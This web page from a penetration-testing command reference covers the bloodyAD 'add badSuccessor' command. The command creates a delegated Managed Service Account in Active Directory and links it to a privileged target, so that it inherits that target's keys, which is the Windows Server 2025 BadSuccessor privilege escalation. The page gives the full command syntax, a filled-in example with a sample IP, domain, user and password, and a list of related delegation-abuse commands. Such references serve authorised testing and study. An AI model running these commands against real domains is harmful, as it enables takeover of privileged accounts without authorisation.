bloodyAD add badSuccessor

Create a Delegated Managed Service Account (dMSA) and chain it via msDS-ManagedAccountPrecededByLink to a privileged target. The dMSA inherits the predecessor's keys/permissions on next logon — Server 2025 BadSuccessor abuse. Requires CreateChild on an OU.

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated April 10, 2026

Tool

bloodyAD

Category

Privilege Escalation / Delegation Abuse

Platform

linux

Requires

password

Protocols

LDAP

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

bloodyAD --host <dc-ip> -d '<domain>' -u '<user>' -p '<password>' add badSuccessor '<dmsa-name>'

Examples

bloodyAD --host 10.10.10.10 -d corp.local -u jdoe -p 'Password123!' add badSuccessor pwndmsa

Tags

bloodyad badsuccessor dmsa server-2025 privesc

References

• BadSuccessor (Akamai)

Related commands

• bloodyAD Set RBCD Configure Resource-Based Constrained Delegation: write…
• Impacket Add Computer Create a new computer account in Active Directory (used for RBCD attacks)
• Impacket getST (S4U) Abuse constrained delegation or RBCD via S4U2Self/S4U2Proxy to impersonate a user
• Impacket RBCD Write Write msDS-AllowedToActOnBehalfOfOtherIdentity to configure RBCD on a target
• NetExec badsuccessor Module (dMSA Abuse) Detect BadSuccessor dMSA-link abuse: a Server 2025 delegated Managed Service Account…
• PyWhisker Shadow Credentials Add shadow credentials to a target account's msDS-KeyCredentialLink attribute
• RBCD Attack Configure Resource-Based Constrained Delegation (RBCD) on a target computer
• Rubeus S4U Delegation Abuse constrained delegation via S4U on Windows using Rubeus